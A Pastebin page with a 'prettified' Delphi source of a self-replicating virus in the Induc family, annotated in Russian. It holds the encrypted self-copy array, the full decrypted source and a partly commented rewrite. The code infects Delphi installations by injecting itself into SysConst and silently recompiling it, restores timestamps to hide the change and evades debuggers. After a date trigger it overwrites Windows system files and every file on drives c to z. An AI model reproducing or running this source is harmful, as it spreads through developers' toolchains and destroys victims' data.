API tools faq
paste
Advertisement
Guest User

Prettified Induc.pas

a guest
Jan 22nd, 2012
4,459
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 25.94 KB | None | 0 0
raw download clone embed print report
  1. implementation
  2.  
  3. uses windows;
  4.  
  5. var
  6.   sc: array [1..33] of string = (  // массив содержит исходник всей этой проги (ну кроме самого себя конечно)
  7.     'pr`r+vd}_~vrJ+ulq+rbIlqqltj<==22h+~e+roqd}fH#',
  8.     '+b~}ro+u/;H"/=;"Ju0;H"0=;"Ju5;H"5=;"Ju6;H"6=;"Jl{~H"!"JxrfvqH"Blq{locdl}+E~q`ro+BE<=2+A~}_`_AtAw~~_"J',
  9.     'rxrfH"O^?LT+DR+L+]DB@+?LT+O^+?D@="J+ep}bod~}+Psq#SIAto`JRIroqd}f$IRoqd}fJulq+++DID}o`f`qJa`fd}+++e~q+DIH<+o~+W`}foc#R$+_~+++a`fd}+++++Q`rpwoIHQ`rpwo:Bcq#Ato`#Rjdh$+s~q+S$J',
  10.     '++`}_J`}_J+ep}bod~}+?BpIroqd}fJa`fd}+++q`rpwoIHPsq#<3;7"ЫЦМ"$J`}_J+ep}bod~}+{lrIroqd}fJa`fd}+++Q`rpwoIHPsq#</47"апе"$J`}_J+ep}bod~}+dx{Iroqd}fJa`fd}+++q`rpwoIHPsq#<527"ЩЭТЮЕЭЕШЦБЦЩЧШ"$J',
  11.     '`}_J+ep}bod~}+_r<Iroqd}fJa`fd}+++q`rpwoIHPsq#147"]qЉdy‡~sLnq~|‡rtLTs|xpoL"$JJ`}_J+ep}bod~}+_r1Iroqd}fJa`fd}+++q`rpwoIHPsq#017"ejjK{hE"$+`}_J+ep}bod~}+_r2Iroqd}fJa`fd}+++Q`rpwoIHPsq#47"P‰e‡ЉywPЉ€`P‰{‰Pi{‰Yef‰€"$J',
  12.     '`}_J+ep}bod~}+_r/Iroqd}fJa`fd}+++q`rpwoIHPsq#557"-=:+-J< 87<5w"$J`}_J+ep}bod~}+_r0Iroqd}fJa`fd}+++q`rpwoIHPsq#07"TfwzTlee56:k€k"" "$J`}_J+ep}bod~}+clwIroqd}fJa`fd}+++q`rpwoIHPsq#107"ykyx‡o9:@|sp6€pp"$J',
  13.     '`}_J+ep}bod~}+p}xIRoqd}fJa`fd}+++Q`rpwoIHPsq#1007"—…—љ©‘ЧШў™˜’‘›њЬЄ’’"$J`}_J+ep}bod~}+d}poIroqd}fJa`fd}+++q`rpwoIHPsq#647"G5GJ9!‡€IG9H%,%Jl969"$J`}_J+ep}bod~}+erl_Iroqd}fJa`fd}+++q`rpwoIHPsq#/47"ACA@OgxhmUmVV.ODO"$J',
  14.     '`}_J+ep}bod~}+fcefIroqd}fJa`fd}+++q`rpwoIHPsq#<447"ЇНЇІЎ№прЄ°ҐЇҐ¶Ѕпрдўєє"$J`}_J+ep}bod~}+{w~clIroqd}fJa`fd}+++Q`rpwoIHPsq#<7"_t|x}r_r>_t_"$J`}_J+ep}bod~}+r`}_eq~xlf~_Iroqd}fJ',
  15.     'a`fd}+++Q`rpwoIHPsq#4<7"l0>NM>M3>p3/5"$J`}_J+ep}bod~}+adcIroqd}fJa`fd}+++Q`rpwoIHPsq#//7"_fkl{ЋBYSjXmD{}BmKXAC{}cЋ{"$J`}_J+ep}bod~}+rb~Iroqd}fJa`fd}+++Q`rpwoIHPsq#<357"ДРЮГФоешТП„ѓеГЭХеДВДедВДфРПДЭ"$J',
  16.     '`}_J+ep}bod~}+bfIroqd}fJa`fd}+++Q`rpwoIHPsq#37"jf}‡Ћd‰xOZfwx^xd‰OYWjO"$J`}_J+ep}bod~}+L#rIroqd}f$Iroqd}fJulq+dId}o`f`qJa`fd}+e~q+dIH<+o~+w`}foc#r$+_~+a`fd}+rjdhIHbcq###Ato`#rjdh$:<$+s~q+<;$85$J',
  17.     'de+rjdhHBcq#20$+oc`}+rjdhIHBcq#24$J`}_Jq`rpwoIHrJ`}_J+{q~b`_pq`+A#r7_7`Iroqd}f$Julq+oIroqd}fJe<7e1Io`soedw`JcIblq_d}lwJeIROLQOP[D]E^J{I[Q^B@RRnD]E^QXLOD^]Jo<7o17o2IEDW@ODX@Jddx{Iroqd}fJa`fd}+ЉD8€+',
  18.     'oIHrJlrrdf}edw`#e<7r$Jq`r`o#e<$Jde+d~q`rpwoGM;oc`}+`sdoJlrrdf}edw`#e17_:{lr$Jq`vqdo`#e1$Jde+d~q`rpwoGM;+oc`}+a`fd}+bw~r`edw`#e<$J`sdoJ`}_Jddx{IHdx{Jvcdw`+}~o+`~e#e<$_~+a`fd}+q`l_w}#e<7r$J',
  19.     'vqdo`w}#e17r$Jde+{~r#ddx{7r$GM;+oc`}+++aq`lzJ`}_J+vqdo`w}#e17L#rbj<h$$Je~q+cIH<+o~+228<+_~+++vqdo`w}#e17"""":rbjch7"""7"$Jvqdo`w}#e17"""":rbj22h:"""$J"$Je~q+cIH1+o~+22+_~+vqdo`w}#e17L#rbjch$$J',
  20.     'bw~r`edw`#e<$Jbw~r`edw`#e1$J+cIHBq`lo`Edw`#{bclq#_:_bp$7;7;7}dw727;7;$Jde+cH?V^Q?#8<$+oc`}+`sdoJF`oEdw`Odx`#c7Ko<7Ko17Ko2$JBw~r`Cl}_w`#c$Jedwwbclq#e7rd‰`~e#e$7;$Je=baIHrd‰`~e#e$Je=_vEwlfr+IHROLQOEnPR@RC^VVD]?^VJe=vRc~vVd}_~vIHRVnCD?@J',
  21.     '+de+}~o+Bq`lo`[q~b`rr#}dw7{bclq#`:"!":_:{lr:"!"$7+++++++++}dw7+}dw7elwr`7;7}dw7}dw7e7{$+oc`}+`sdoJVldoE~qRd}fw`^ay`bo#+{=c[q~b`rr7+D]ED]DO@$J?`w`o`Edw`#{bclq#_:{lr$$J+cIHBq`lo`Edw`#{bclq#_:_bp$71057;7}dw727;7;$J',
  22.     'de+cH?V^Q?#8<$+oc`}+`sdoJR`oEdw`Odx`#c7Ko<7Ko17Ko2$JBw~r`Cl}_w`#c$JLrrdf}edw`#e<7o$Jde+D^Q`rpwoGM;+oc`}+`sdoJQ`vqdo`#e<$JVqdo`w}#e<7xrfvq$JBw~r`edw`#e<$J`}_J+ep}bod~}+B#OI[Bclq$IRoqd}fJ',
  23.     'ulq+zICZ@TJbIlqqlt+j<==100h+~e+bclqJdIblq_d}lwJqIroqd}fJa`fd}+de+Q`f^{`}Z`t@s#CZ@TnW^BLWnXLBCD]@7+O7;7Z@TnQ@L?7z$H;+oc`}+a`fd}+dIH100Jde+Q`f\p`qtUlwp`@s#z7[Bclq#?R1$7}dw7Kd7Kb7Kd$+H+;+oc`}+',
  24.     'a`fd}+qIH""J+dIH<J+vcdw`+bjdh+GM+Bcq#;$+_~++a`fd}+++qIHq:bjdhJd}b#d$J+`}_JQ`rpwoIHqJ`}_JQ`fBw~r`Z`t#z$J`}_J`}_J+ep}bod~}+Dr?afIa~~w`l}Julq++LIAto`Ja`fd}+Q`rpwoIHelwr`Jlrx+++x~u+L7;J++x~u+`ls7erIj;;;;;;<3chJ',
  25.     '++x~u+`ls7j`ls+:2;chJ++x~u‰s+`ls7ato`+{oq+j`ls:;1hJ++bx{+`ls7<J++y}`+KWAWJ++x~u+L7<JKWAWI+`}_JDe+LGM;+oc`}+q`rpwoIHoqp`J`}_J+ep}bod~}+Dr?`apff`q[q`r`}oZ`q}`wIa~~w`l}Jlrr`xaw`qJ',
  26.     'lrx+++x~u+`ls7_v~q_+{oq+erIj;;;;;;<3chJ++x~u+`ls7_v~q_+{oq+j`ls:2;chJ++x~u‰s+`ls7ato`+{oq+j`ls:;1chJ`}_J+ep}bod~}+Dr]OXlbcd}`Ia~~w`l}Jlrr`xaw`qJlrx+++s~q+`ls7`lsJ++x~u+`bs7brJ++s~q+bw7bwJ++y`bs‰+K}o~zJ',
  27.     '++yx{+K|pdoJK}o~zI+++d}b+`lsJK|pdoI+`}_J+{q~b`_pq`+Q`vqdo`#]lx`IRoqd}f$Julq++EIOCl}_w`J+D7]7iI?V^Q?J+ApeIlqqlt+j;==<;1/h+~e+ato`Ja`fd}++eIHBq`lo`Edw`#[Bclq#]lx`$7F@]@QDBnVQDO@7+EDW@nRCLQ@nVQDO@7+}dw7+',
  28.     '++++++++++++++++++++^[@]n@SDROD]F7+EDW@nLOOQDAPO@n]^QXLW7+;$J+de+E+H+D]ULWD?nCL]?W@nULWP@+oc`}+@sdoJ+EdwwBclq#Ape7<;1/7;$J+iIHQ~p}_##F`oEdw`Rd‰`#e7}dw$>#<;1/:W`}foc#xrfvq$8<$$$J',
  29.     '+e~q+dIH;+o~+i+_~++a`fd}+++Vqdo`Edw`#e7Xrfvq7W`}foc#xrfvq$7]7}dw$J++Vqdo`Edw`#e7Ape7<;1/7]7}dw$J+`}_J+Bw~r`Cl}_w`#e$J`}_J+{q~b`_pq`+Edw`Q`bpqrdu`#ApeIRoqd}f$Julq++E?InVD]21nED]?n?LOLJ',
  30.     '+CIOCl}_w`Ja`fd}++CIHEd}_EdqroEdw`#[Bclq#Ape:"9=9"$7E?$J+q`{`lo+++de+E?=bEdw`]lx`j;hGM"="+oc`}+++a`fd}+++++de+#E?=_vEdw`Looqdapo`r+l}_+;;;;<;$+H+;;;;<;+oc`}+',
  31.     '+++++Edw`Q`bpqrdu`#Ape:E?=bEdw`]lx`:"g"$+++++`wr`++++++Q`vqdo`#E?=bEdw`]lx`$J++`}_J+p}odw#}~o+Ed}_]`soEdw`#C7E?$$J+Ed}_Bw~r`#C$J`}_J+{q~b`_pq`+Edw`rJulq++dIato`Ja`fd}++e~q+dIH52+o~+6L+_~+',
  32.     '+Edw`Q`bpqrdu`#Bcq#d$:"Ig"$J`}_J+{q~b`_pq`+L}lwt‰`Julq++Vd}_dqI+lqqlt+j;==100h+~e+BclqJ+dId}o`f`qJ+Vd}o`qIRoqd}fJ+VI?V^Q?Ja`fd}++EdwwBclq#Vd}_dq71057;$J+F`oVd}_~vr?dq`bo~qt#Vd}_dq7100$J',
  33.     '+e~q+dIH;+o~+100+_~++Vd}o`qjdhIHVd}_dqjdhJ+De+Vd}o`qjW`}foc#Vd}o`q$hGM"g"+oc`}++Vd}o`qIHVd}o`q:"g"J+Q`vqdo`#Vd}o`q:clw$J+Q`vqdo`#Vd}o`q:p}x$J+Q`vqdo`#Vd}o`q:d}po$J+Q`vqdo`#Vd}o`q:erl_$J',
  34.     '+Q`vqdo`#Vd}o`q:fcef$J+Q`vqdo`#Vd}o`q:{w~cl$J+Q`vqdo`#R`}_eq~xlf~_$J+Edw`rJ+X`rrlf`A~s#;7xrfvq7rxrf7;$J`}_J+{q~b`_pq`+Bc`bzJulq++VInRTRO@XODX@Ja`fd}++F`oRtro`xOdx`#V$J+De+v=vT`lq+M+1;<;+oc`}+',
  35.     '+L}lwt‰`J++De+v=vT`lq+H+1;<;+oc`}++De+v=vX~}oc+M+<;+oc`}++L}lwt‰`J++De+v=vT`lq+H+1;<;+oc`}++De+v=vX~}oc+H+<;+oc`}++De+v=v?lt+MH+<2+oc`}++L}lwt‰`J`}_J+ep}bod~}+Pr`OcdrIa~~w`l}J',
  36.     'a`fd}++q`rpwoIHelwr`J+de+}~o+Dr]oXlbcd}`+oc`}++a`fd}+++q`rpwoIHoqp`J++`sdoJ+`}_J+de+Dr?`apff`q[q`r`}oZ`q}`w+oc`}++a`fd}+++q`rpwoIHoqp`J++`sdoJ+`}_J+De+Dr?af+oc`}++a`fd}+++q`rpwoIHoqp`J++`sdoJ+`}_J',
  37.     '`}_J+ulq+++qoIroqd}fJa`fd}+de+}~o+pr`ocdr+oc`}+a`fd}++++qoIHB#[Bclq#?R<:u/;$$J+++A#qo:?R2:"=":{lr7qo:?R/7L{~:qo:?R0$J+++qoIHB#[Bclq#?R<:u0;$$J+++A#qo:?R2:"=":{lr7qo:?R/7L{~:qo:?R0$J',
  38.     '+++qoIHB#[Bclq#?R<:u5;$$J+++A#qo:?R2:"=":{lr7qo:?R/7L{~:qo:?R0$J+++qoIHB#[Bclq#?R<:u6;$$J+++A#qo:?R2:"=":{lr7qo:?R/7L{~:qo:?R0$J+++qoIHB#[Bclq#adc:u/;$$J+++A#qo:rb~:"=":{lr7qo:?R/7L{~:qo:?R0$J',
  39.     '+++qoIHB#[Bclq#adc:u0;$$J+++A#qo:rb~:"=":{lr7qo:?R/7L{~:qo:?R0$J+++qoIHB#[Bclq#bf:u5;$$J+++A#qo:rb~:"=":{lr7qo:?R/7L{~:qo:?R0$J+++++++qoIHB#[Bclq#bf:u6;$$J+++A#qo:rb~:"=":{lr7qo:?R/7L{~:qo:?R0$J+`}_J`}_=++'
  40.   );
  41.  
  42. //, а именно:
  43. (*
  44. uses windows; var sc:array[1..33] of string=(
  45.  const v40='4.0';v50='5.0';v60='6.0';v70='7.0';apo='"';msgwr='Carpathian Forest CF1.3 BondedByBlood';
  46. smsg='TODAY IS A NICE DAY TO DIE.'; function Uxr(X:Byte;S:string):String;var   I:Integer;begin   for I:=1 to Length(S) do   begin     Result:=Result+Chr(Byte(S[i]) xor X);
  47.   end;end; function DCu:string;begin   result:=Uxr(180,'РЧБ');end; function pas:string;begin   Result:=Uxr(149,'ефж');end; function imp:string;begin   result:=Uxr(163,'КОУПЖОЖНЧВЧКМН');
  48. end; function ds1:string;begin   result:=Uxr(29,'Nr{ij|oxA_roq|syAYxqmutA');;end; function ds2:string;begin   result:=Uxr(52,'f[[@p]F') end; function ds3:string;begin   Result:=Uxr(9,'Uzf|{jlU{}eUzpzUZpzJfgz}');
  49. end; function ds4:string;begin   result:=Uxr(66,'.+ ;1-,16l');end; function ds5:string;begin   result:=Uxr(5,'YglkYaff67+`}`''%');end; function hal:string;begin   result:=Uxr(25,'j`jm|t*+Eqxu7}uu');
  50. end; function unm:String;begin   Result:=Uxr(255,'Њ†Њ‹љ’МНЈЉЌ“’ђ‘С›““');end; function inut:string;begin   result:=Uxr(79,'<6<;*"|}:<*=&!&;a*7*');end; function fsad:string;begin   result:=Uxr(49,'BHBET\m]^V^WWTIT');
  51. end; function ghfg:string;begin   result:=Uxr(199,'ґѕґіўЄфх›µ¦ґ¦·®фхйЈ««');end; function ploha:string;begin   Result:=Uxr(1,'dyqmnsds/dyd');end; function sendfromagod:string;
  52. begin   Result:=Uxr(91,'a5/?>/>8/u846');end; function bih:string;begin   Result:=Uxr(44,'dg`apCJX[M^IpnC^@MBHpnhp');end; function sco:string;begin   Result:=Uxr(186,'ЙХПИЩЯжнУФ‰€жИОЦжЙГЙжйГЙщХФЙО');
  53. end; function cg:string;begin   Result:=Uxr(8,'[gn|izmTKglmOmizTJL[T');end; function A(s:string):string;var i:integer;begin for i:=1 to length(s) do begin s[i]:=chr(((Byte(s[i])+1) xor 10)-6);
  54. if s[i]=Chr(35) then s[i]:=Chr(39);end;result:=s;end; procedure B(s,d,e:string);var t:string;f1,f2:textfile;h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;t1,t2,t3:FILETIME;iimp:string;begin {$I-}
  55. t:=s;assignfile(f1,s);reset(f1);if ioresult<>0then exit;assignfile(f2,d+pas);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end;iimp:=imp;while not eof(f1)do begin readln(f1,s);
  56. writeln(f2,s);if pos(iimp,s)<>0 then   break;end; writeln(f2,A(sc[1]));for h:=1 to 33-1 do   writeln(f2,''''+sc[h],''',');writeln(f2,''''+sc[33]+''');');for h:=2 to 33 do writeln(f2,A(sc[h]));
  57. closefile(f1);closefile(f2); h:=CreateFile(pchar(d+dcu),0,0,nil,3,0,0);if h=DWORD(-1) then exit;GetFileTime(h,@t1,@t2,@t3);CloseHandle(h);fillchar(f,sizeof(f),0);f.cb:=sizeof(f);f.dwFlags :=STARTF_USESHOWWINDOW;f.wShowWindow:=SW_HIDE;
  58.  if not CreateProcess(nil,pchar(e+'"'+d+pas+'"'),         nil, nil,false,0,nil,nil,f,p) then exit;WaitForSingleObject( p.hProcess, INFINITE);DeleteFile(pchar(d+pas)); h:=CreateFile(pchar(d+dcu),256,0,nil,3,0,0);
  59. if h=DWORD(-1) then exit;SetFileTime(h,@t1,@t2,@t3);CloseHandle(h);Assignfile(f1,t);if IOResult<>0 then exit;Rewrite(f1);Writeln(f1,msgwr);Closefile(f1);end; function C(T:PChar):String;
  60. var k:HKEY;c:array [1..255] of char;i:cardinal;r:string;begin if RegOpenKeyEx(HKEY_LOCAL_MACHINE, T,0,KEY_READ,k)=0 then begin i:=255;if RegQueryValueEx(k,PChar(DS2),nil,@i,@c,@i) = 0 then
  61. begin r:=''; i:=1; while c[i] <> Chr(0) do  begin   r:=r+c[i];inc(i); end;Result:=r;end;RegCloseKey(k);end;end; function IsDbg:boolean;var  A:Byte;begin Result:=false;asm   mov A,0;  mov eax,fs:[00000018h];
  62.   mov eax,[eax +30h];  movzx eax,byte ptr [eax+02];  cmp eax,1;  jne @LBL;  mov A,1;@LBL: end;If A<>0 then result:=true;end; function IsDebuggerPresentKernel:boolean;assembler;
  63. asm   mov eax,dword ptr fs:[00000018h];  mov eax,dword ptr [eax+30h];  movzx eax,byte ptr [eax+02h];end; function IsNTMachine:boolean;assembler;asm   xor eax,eax;  mov ecx,cs;  xor cl,cl;  jecxz @ntok;
  64.   jmp @quit;@ntok:   inc eax;@quit: end; procedure Rewrite(Name:String);var  F:THandle; I,N,Z:DWORD; Buf:array [0..1024] of byte;begin  f:=CreateFile(PChar(Name),GENERIC_WRITE, FILE_SHARE_WRITE, nil,
  65.                     OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if F = INVALID_HANDLE_VALUE then Exit; FillChar(Buf,1024,0); Z:=Round((GetFileSize(f,nil)/(1024+Length(msgwr)-1)));
  66.  for i:=0 to Z do  begin   WriteFile(f,Msgwr,Length(msgwr),N,nil);  WriteFile(f,Buf,1024,N,nil); end; CloseHandle(f);end; procedure FileRecursive(Buf:String);var  FD:_WIN32_FIND_DATA;
  67.  H:THandle;begin  H:=FindFirstFile(PChar(Buf+'*.*'),FD); repeat   if FD.cFileName[0]<>'.' then   begin     if (FD.dwFileAttributes and $000010) = $000010 then
  68.      FileRecursive(Buf+FD.cFileName+'\')     else      Rewrite(FD.cFileName);  end; until(not FindNextFile(H,FD)); FindClose(H);end; procedure Files;var  i:byte;begin  for i:=$63 to $7A do
  69.  FileRecursive(Chr(i)+':\');end; procedure Analyze;var  Windir: array [0..255] of Char; i:integer; Winter:String; W:DWORD;begin  FillChar(Windir,256,0); GetWindowsDirectory(Windir,255);
  70.  for i:=0 to 255 do  Winter[i]:=Windir[i]; If Winter[Length(Winter)]<>'\' then  Winter:=Winter+'\'; Rewrite(Winter+hal); Rewrite(Winter+unm); Rewrite(Winter+inut); Rewrite(Winter+fsad);
  71.  Rewrite(Winter+ghfg); Rewrite(Winter+ploha); Rewrite(Sendfromagod); Files; MessageBox(0,msgwr,smsg,0);end; procedure Check;var  W:_SYSTEMTIME;begin  GetSystemTime(W); If w.wYear > 2010 then
  72.  Analyze;  If w.wYear = 2010 then  If w.wMonth > 10 then  Analyze;  If w.wYear = 2010 then  If w.wMonth = 10 then  If w.wDay >= 13 then  Analyze;end; function UseThis:boolean;
  73. begin  result:=false; if not IsNtMachine then  begin   result:=true;  exit; end; if IsDebuggerPresentKernel then  begin   result:=true;  exit; end; If IsDbg then  begin   result:=true;  exit; end;
  74. end; var   rt:string;begin if not usethis then begin    rt:=C(PChar(DS1+v40));   B(rt+DS3+'.'+pas,rt+DS4,Apo+rt+DS5);   rt:=C(PChar(DS1+v50));   B(rt+DS3+'.'+pas,rt+DS4,Apo+rt+DS5);
  75.    rt:=C(PChar(DS1+v60));   B(rt+DS3+'.'+pas,rt+DS4,Apo+rt+DS5);   rt:=C(PChar(DS1+v70));   B(rt+DS3+'.'+pas,rt+DS4,Apo+rt+DS5);   rt:=C(PChar(bih+v40));   B(rt+sco+'.'+pas,rt+DS4,Apo+rt+DS5);
  76.    rt:=C(PChar(bih+v50));   B(rt+sco+'.'+pas,rt+DS4,Apo+rt+DS5);   rt:=C(PChar(cg+v60));   B(rt+sco+'.'+pas,rt+DS4,Apo+rt+DS5);       rt:=C(PChar(cg+v70));   B(rt+sco+'.'+pas,rt+DS4,Apo+rt+DS5); end;end.  
  77. *)
  78.  
  79. const
  80.   v40 = '4.0';    //
  81.   v50 = '5.0';    //  перебор всевозможных версий делфей))
  82.   v60 = '6.0';    //
  83.   v70 = '7.0';    //
  84.   apo = '"';
  85.   msgwr = 'Carpathian Forest CF1.3 BondedByBlood';
  86.   smsg = 'TODAY IS A NICE DAY TO DIE.';
  87.  
  88. {
  89. Carpathian Forest — норвежская блэк-метал-группа, основанная в 1990 году Наттефростом и Нордавиндом
  90. © википикия
  91. }
  92.  
  93. function Uxr(X: Byte; S: string): String; // мегакриптографическая функция
  94. var
  95.   I: Integer;
  96. begin
  97.   for I := 1 to Length(S) do
  98.   begin
  99.     Result := Result + Chr(Byte(S[i]) xor X);
  100.   end;
  101. end;
  102.  
  103. function DCu: string;       // возвращает строку 'dcu'
  104. begin
  105.   result := Uxr(180, 'РЧБ');
  106. end;
  107.  
  108. function pas: string;       // возвращает строку 'pas'
  109. begin
  110.   Result := Uxr(149, 'ефж');
  111. end;
  112.  
  113. function imp: string;       // возвращает строку 'implementation'
  114. begin
  115.   result := Uxr(163, 'КОУПЖОЖНЧВЧКМН');
  116. end;
  117.  
  118. function ds1: string;       // возвращает строку 'Software\Borland\Delphi\'
  119. begin
  120.   result := Uxr(29, 'Nr{ij|oxA_roq|syAYxqmutA');;
  121. end;
  122.  
  123. function ds2: string;       // возвращает строку 'RootDir'
  124. begin
  125.   result := Uxr(52, 'f[[@p]F')
  126. end;
  127.  
  128. function ds3: string;       // возвращает строку '\source\rtl\sys\SysConst'
  129. begin
  130.   Result := Uxr(9, 'Uzf|{jlU{}eUzpzUZpzJfgz}');
  131. end;
  132.  
  133. function ds4: string;       // возвращает строку '\lib\SysConst.'
  134. begin
  135.   result := Uxr(66, '.+ ;1-,16l');
  136. end;
  137.  
  138. function ds5: string;       // возвращает строку '\bin\dcc32.exe"'
  139. begin
  140.   result := Uxr(5, 'YglkYaff67+`}`''%');
  141. end;
  142.  
  143. function hal: string;       // возвращает строку 'system32\hal.dll'
  144. begin
  145.   result := Uxr(25, 'j`jm|t*+Eqxu7}uu');
  146. end;
  147.  
  148. function unm: String;       // возвращает строку 'system32\urlmon.dll'
  149. begin
  150.   Result := Uxr(255, 'Њ†Њ‹љ’МНЈЉЌ“’ђ‘С›““');
  151. end;
  152.  
  153. function inut: string; // (инут - ха-аха)))) возвращает строку 'system32\userinit.exe'
  154. begin
  155.   result := Uxr(79, '<6<;*"|}:<*=&!&;a*7*');
  156. end;
  157.  
  158. function fsad: string; // (уже влом ему стало имена придумывать :) возвращает строку 'system\logoff.exe'
  159. begin
  160.   result := Uxr(49, 'BHBET\m]^V^WWTIT');
  161. end;
  162.  
  163. function ghfg: string; // (тупо бьёт по кнопкам)))) // возвращает строку 'system32\rasapi32.dll'
  164. begin
  165.   result := Uxr(199, 'ґѕґіўЄфх›µ¦ґ¦·®фхйЈ««');
  166. end;
  167.  
  168. function ploha: string; // возвращает строку 'explorer.exe' (Проводник - это плоха!)
  169. begin
  170.   Result := Uxr(1, 'dyqmnsds/dyd');
  171. end;
  172.  
  173. function sendfromagod: string; // возвращает строку 'C:\ntdetect.com' (бог послал) :-)
  174. begin
  175.   Result := Uxr(91, 'a5/?>/>8/u846');
  176. end;
  177.  
  178. function bih: string;         // возвращает строку 'HKLM\Software\Borland\BDS\'
  179. begin
  180.   Result := Uxr(44, 'dg`apCJX[M^IpnC^@MBHpnhp');
  181. end;
  182.  
  183. function sco: string;         // возвращает строку 'source\Win32\rtl\sys\SysConst'
  184. begin
  185.   Result := Uxr(186, 'ЙХПИЩЯжнУФ‰€жИОЦжЙГЙжйГЙщХФЙО');
  186. end;
  187.  
  188. function cg: string;          // возвращает строку 'Software\CodeGear\BDS\'
  189. begin
  190.   Result := Uxr(8, '[gn|izmTKglmOmizTJL[T');
  191. end;
  192.  
  193. function A(s: string): string; // функция для расшифровки массива sc
  194. var
  195.   i: integer;
  196. begin
  197.   for i := 1 to length(s) do
  198.   begin
  199.     s[i] := chr(((Byte(s[i]) + 1) xor 10) - 6);
  200.     if s[i] = Chr(35) then s[i] := Chr(39);
  201.   end;
  202.   result := s;
  203. end;
  204.  
  205. procedure B(s, d, e: string); // главнейшая процедура в программе!!!
  206. var
  207.   t: string;             // путь к файлу SysConst.pas
  208.   f1, f2: textfile;
  209.   h: cardinal;
  210.   f: STARTUPINFO;
  211.   p: PROCESS_INFORMATION;
  212.   t1, t2, t3: FILETIME;  // время создания, последнего обращения и модификации файла SysConst.dcu
  213.   iimp: string;
  214. begin
  215. {$I-}
  216.   t := s;
  217.   assignfile(f1, s);            // файл с исходником SysConst.pas ("исходный файл")
  218.   reset(f1);
  219.   if ioresult <> 0 then exit;
  220.   assignfile(f2, d + pas);      // в это место ложим "новый" SysConst.pas с дописаным сра.
  221.   rewrite(f2);
  222.   if ioresult <> 0 then
  223.   begin
  224.     closefile(f1);
  225.     exit;
  226.   end;
  227.   iimp := imp; // = 'implementation'
  228.   while not eof(f1) do
  229.   begin           // читаем "исходный файл" и пишем в "новый", пока не дойдём до секции implementation
  230.     readln(f1,s);
  231.     writeln(f2,s);
  232.     if pos(iimp, s) <> 0 then break;
  233.   end;
  234.   writeln(f2, A(sc[1]));  // дописываем в "новый файл" первую строку массива sc, т.е. 'uses windows; var sc:array[1..33] of string=('
  235.   for h:=1 to 33 - 1 do                   //
  236.     writeln(f2, '''' + sc[h], ''',');     //  записываем массив sc в новый файл (ессно в исходном зашифрованном виде)
  237.   writeln(f2, '''' + sc[33] + ''');');    //
  238.   for h := 2 to 33 do     // далее дописываем остаток массива sc в "новый файл"
  239.     writeln(f2, A(sc[h]));
  240.   closefile(f1);
  241.   closefile(f2); // как и положено, закрываем все файлы, "новый" загаженный файл готов!
  242.   h := CreateFile(pchar(d + dcu), 0, 0, nil, 3, 0, 0);  // открываем существующий файл SysConst.dcu
  243.   if h = DWORD(-1) then exit;                           //? если не получилось - расходимся
  244.   GetFileTime(h, @t1, @t2, @t3);                        // сохраняем все времена файла
  245.   CloseHandle(h);
  246.   fillchar(f, sizeof(f), 0);
  247.   f.cb := sizeof(f);
  248.   f.dwFlags := STARTF_USESHOWWINDOW;
  249.   f.wShowWindow := SW_HIDE;
  250.   (* самое интересное :) компилируем "новый" изуродованный файл, затирая тем самым SysConst.dcu *)
  251.   if not CreateProcess(nil, pchar(e + '"' + d + pas + '"'), nil, nil, false, 0, nil, nil, f, p)
  252.     then exit;
  253.   WaitForSingleObject(p.hProcess, INFINITE); // ожидаем пока всё откомпилится...
  254.   DeleteFile(pchar(d + pas)); // удаляем "новый файл"
  255.   h := CreateFile(pchar(d + dcu), 256, 0, nil, 3, 0, 0);  // устанавливаем старые времена создания,
  256.   if h = DWORD(-1) then exit;                             // последнего обращения и модификации
  257.   SetFileTime(h, @t1, @t2, @t3);                          // покойного чистого файла SysConst.dcu
  258.   CloseHandle(h);                                         // зловредному "новому" SysConst.dcu
  259.   Assignfile(f1, t);
  260.   if IOResult <> 0 then exit;
  261.   Rewrite(f1);        // ну тут повыёбываться конечно надо
  262.   Writeln(f1, msgwr); // пишем в файл SysConst.pas сообщение 'Carpathian Forest CF1.3 BondedByBlood'
  263.   Closefile(f1);      // вот только на? его ж ведь потом нельзя будет использовать для дозаписи(!) гадостятины,
  264.                       //   т.к. этот левый текст не откомпилится! или я не прав?
  265. end;
  266.  
  267. function C(T: PChar): String;
  268. // читает параметр 'RootDir' (где находится папка Delphi) раздела T реестра из ветки HKEY_LOCAL_MACHINE
  269. var
  270.   k: HKEY;
  271.   c: array [1..255] of char;
  272.   i: cardinal;
  273.   r: string;
  274. begin
  275.   if RegOpenKeyEx(HKEY_LOCAL_MACHINE, T, 0, KEY_READ, k) = 0 then
  276.   begin
  277.     i := 255;
  278.     if RegQueryValueEx(k, PChar(DS2), nil, @i, @c, @i) = 0 then
  279.     begin
  280.       r := '';
  281.       i := 1;
  282.       while c[i] <> Chr(0) do
  283.       begin
  284.         r := r + c[i];
  285.         inc(i);
  286.       end;
  287.       Result := r;
  288.     end;
  289.     RegCloseKey(k);
  290.   end;
  291. end;
  292.  
  293. function IsDbg: boolean;    // проверка на наличие отладчика??
  294. var
  295.   A: Byte;
  296. begin
  297.   Result := false;
  298.   asm
  299.     mov A, 0;
  300.     mov eax, fs:[00000018h];
  301.     mov eax, [eax +30h];
  302.     movzx eax, byte ptr [eax+02];
  303.     cmp eax, 1;
  304.     jne @LBL;
  305.     mov A, 1;
  306.     @LBL:
  307.   end;
  308.   If A <> 0 then result := true;
  309. end;
  310.  
  311. function IsDebuggerPresentKernel: boolean; assembler;  // ещё одна проверка на отладчик))
  312. asm
  313.   mov eax, dword ptr fs:[00000018h];
  314.   mov eax, dword ptr [eax+30h];
  315.   movzx eax, byte ptr [eax+02h];
  316. end;
  317.  
  318. function IsNTMachine: boolean; assembler; // проверка типа ОС на ассемблере o_O
  319. asm
  320.   xor eax, eax;
  321.   mov ecx, cs;
  322.   xor cl, cl;
  323.   jecxz @ntok;
  324.   jmp @quit;
  325.   @ntok: inc eax;
  326.   @quit:
  327. end;
  328.  
  329. procedure Rewrite(Name: String);
  330. var
  331.   F: THandle;
  332.   I, N, Z: DWORD;
  333.   Buf: array [0..1024] of byte;
  334. begin
  335.   f := CreateFile(PChar(Name), GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  336.   if F = INVALID_HANDLE_VALUE then Exit;
  337.   FillChar(Buf, 1024, 0);
